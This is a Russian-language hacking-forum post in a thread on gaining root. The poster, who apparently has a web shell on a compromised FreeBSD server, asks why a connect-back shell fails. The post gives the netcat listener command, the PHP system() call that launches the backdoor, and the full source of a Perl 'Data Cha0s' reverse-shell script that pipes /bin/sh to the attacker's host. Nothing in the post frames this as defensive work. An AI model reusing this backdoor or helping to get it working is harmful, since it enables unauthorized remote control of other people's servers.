ANTICHAT - Показать сообщение отдельно - Мануал новичкам: Рутанье

Тут есть ещё кто живой?

Короче такая штука.

поднимаю у себя на серве листенер 31336 порта.

netcat -l -p 31336

В шелле соответственно выполняю

print system('perl dc.pl мойип 31336');

пишет

Цитата:

Сообщение от None

Data Cha0s Connect Back Backdoor
[ * ] Dumping Arguments
[ * ] Connecting...
[ * ] Connecting...

но на серваке 0 реакции.

код dc.pl

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#!/usr/bin/perl

[/COLOR][COLOR="#007700"]use[/COLOR][COLOR="#0000BB"]Socket[/COLOR][COLOR="#007700"];

print[/COLOR][COLOR="#DD0000"]"Data Cha0s Connect Back Backdoor\n\n"[/COLOR][COLOR="#007700"];

if (![/COLOR][COLOR="#0000BB"]$ARGV[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]) {

[/COLOR][COLOR="#0000BB"]printf[/COLOR][COLOR="#DD0000"]"Usage: $0 [Host] \n"[/COLOR][COLOR="#007700"];

exit([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

}

print[/COLOR][COLOR="#DD0000"]"[*] Dumping Arguments\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$ARGV[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$port[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"];

if ([/COLOR][COLOR="#0000BB"]$ARGV[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]) {

[/COLOR][COLOR="#0000BB"]$port[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$ARGV[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

}

print[/COLOR][COLOR="#DD0000"]"[*] Connecting...\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$proto[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getprotobyname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'tcp'[/COLOR][COLOR="#007700"]) || die([/COLOR][COLOR="#DD0000"]"Unknown Protocol\n"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]socket[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SERVER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]PF_INET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SOCK_STREAM[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$proto[/COLOR][COLOR="#007700"]) || die ([/COLOR][COLOR="#DD0000"]"Socket Error\n"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]my $target[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inet_aton[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]);

if (![/COLOR][COLOR="#0000BB"]connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SERVER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]pack[/COLOR][COLOR="#DD0000"]"SnA4x8"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$port[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$target[/COLOR][COLOR="#007700"])) {

die([/COLOR][COLOR="#DD0000"]"Unable to Connect\n"[/COLOR][COLOR="#007700"]);

}

print[/COLOR][COLOR="#DD0000"]"[*] Spawning Shell\n"[/COLOR][COLOR="#007700"];

if (![/COLOR][COLOR="#0000BB"]fork[/COLOR][COLOR="#007700"]( )) {

[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]STDIN[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]">&SERVER"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]STDOUT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]">&SERVER"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]STDERR[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]">&SERVER"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]exec[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#DD0000"]'/bin/sh'[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]'-bash'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\0"[/COLOR][COLOR="#0000BB"]x 4[/COLOR][COLOR="#007700"];

exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

}

print[/COLOR][COLOR="#DD0000"]"[*] Datached\n\n"[/COLOR][COLOR="#007700"];

[/COLOR][/COLOR]

Что может быть не так?

Цитата:

Сообщение от None

FreeBSD XXX.XX 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17 02:41:51 UTC 2011 root@mason.cse.buffalo.edu:/usr/ob